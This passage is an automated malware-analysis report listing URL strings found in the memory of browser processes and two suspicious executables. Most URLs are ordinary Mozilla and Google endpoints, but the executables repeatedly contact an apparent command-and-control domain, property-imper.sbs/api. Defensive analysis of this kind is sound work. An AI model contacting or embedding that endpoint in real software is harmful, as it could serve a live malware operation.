Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000002F.00000002.3638696976.00000214FA257000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881P5
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Suggest
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD57CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000002F.00000002.3649920309.00000214FAEA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3684594631.00000214FFBCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000002F.00000002.3680639689.00000214FE97B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3426610436.00000214F88AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/643d522b-c37f-45ca-a6c0-72c80
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: chrome.exe, 00000024.00000002.3292472275.00005A8000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000024.00000002.3290367779.00005A8000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292472275.00005A8000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000024.00000002.3290367779.00005A8000238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292472275.00005A8000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardZ
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000024.00000002.3292472275.00005A8000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000024.00000002.3292472275.00005A8000904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000024.00000003.3219054630.00005A8000728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292765630.00005A8000974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000024.00000003.3220495183.00005A8000878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3292423570.00005A80008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000024.00000003.3218756701.00005A800071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000024.00000002.3292550955.00005A8000920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 00000024.00000002.3292423570.00005A80008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000002F.00000002.3640026426.00000214FA3A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000002F.00000002.3672212756.00000214FE366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000002F.00000002.3669982732.00000214FDCDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%extensions.formautofill.credit
Source: firefox.exe, 0000002F.00000002.3660747588.00000214FD327000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comenv.channel
Source: firefox.exe, 0000002F.00000002.3660747588.00000214FD327000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3526297302.00000214F89A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3683262386.00000214FEE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://lookerstudio.google.com/embed/reporting/
Source: firefox.exe, 0000002F.00000002.3656000077.00000214FCD77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3634587575.00000214F92BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3656745324.00000214FCE20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sAttempted
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.enabledTypesht
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000002F.00000002.3656000077.00000214FCD77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3308034876.000001FAD5772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000002F.00000002.3327733092.00000214ED003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: 954f709e67.exe, 0000001D.00000003.3128986396.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3130770698.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3334427697.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3266999130.0000000005D58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: 954f709e67.exe, 0000001D.00000003.3128986396.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3154171518.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3153596138.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3334427697.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3266999130.0000000005D58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10Y
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F93E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3666246301.00000214FD864000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000002F.00000002.3656000077.00000214FCD77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sPdfJs.init
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000002F.00000002.3656000077.00000214FCD77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3652843936.00000214FCB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sCan
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sdeclarativeNetRequestWithHostAccess
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCCC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F937E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCC7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: lll.exe, 0000001C.00000003.3123640045.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3094239861.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043159991.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3100595241.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3100441873.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000002.3310453119.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000002.3306723851.00000000011A2000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3223615276.000000000162A000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3308221521.00000000015FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: lll.exe, 0000001C.00000003.3043159991.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/#
Source: 954f709e67.exe, 00000020.00000003.3223615276.000000000162A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/%
Source: lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3094295413.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/C
Source: lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043159991.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/K
Source: 954f709e67.exe, 0000001D.00000002.3306723851.00000000011A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/PD
Source: lll.exe, 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/S
Source: 954f709e67.exe, 0000001D.00000002.3306723851.00000000011A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/XD
Source: 954f709e67.exe, 0000001D.00000002.3306723851.0000000001147000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000002.3310453119.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3217784218.00000000011CC000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3153596138.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3153596138.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: 954f709e67.exe, 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api1s
Source: 954f709e67.exe, 0000001D.00000003.3179756932.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api4
Source: 954f709e67.exe, 0000001D.00000003.3153596138.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api9
Source: lll.exe, 0000001C.00000002.3174159295.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiOGO
Source: 954f709e67.exe, 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiTC
Source: 954f709e67.exe, 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apic
Source: 954f709e67.exe, 0000001D.00000003.3153596138.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apicrR
Source: lll.exe, 0000001C.00000002.3174159295.0000000000FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apii
Source: 954f709e67.exe, 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apii2
Source: 954f709e67.exe, 00000020.00000002.3308221521.00000000015FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apis$
Source: 954f709e67.exe, 0000001D.00000002.3306723851.0000000001147000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apisL
Source: 954f709e67.exe, 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apit
Source: lll.exe, 0000001C.00000003.3042893343.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043125250.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiv
Source: 954f709e67.exe, 0000001D.00000002.3310453119.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apix
Source: lll.exe, 0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/c
Source: lll.exe, 0000001C.00000003.3123640045.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/lfons
Source: 954f709e67.exe, 00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/m
Source: lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/s
Source: lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/sP
Source: 954f709e67.exe, 00000020.00000003.3223615276.000000000162A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/u
Source: lll.exe, 0000001C.00000003.3014750576.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: lll.exe, 0000001C.00000003.3042893343.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3043125250.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api4
Source: 954f709e67.exe, 0000001D.00000002.3306723851.0000000001131000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apiK
Source: 954f709e67.exe, 0000001D.00000002.3306723851.0000000001131000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3308221521.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apiicrosoft
Source: firefox.exe, 0000002F.00000002.3654722934.00000214FCC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 0000002F.00000002.3636031088.00000214F9303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3638696976.00000214FA229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000002F.00000002.3335926963.00000214EE9B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3306242899.000001FAD5540000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
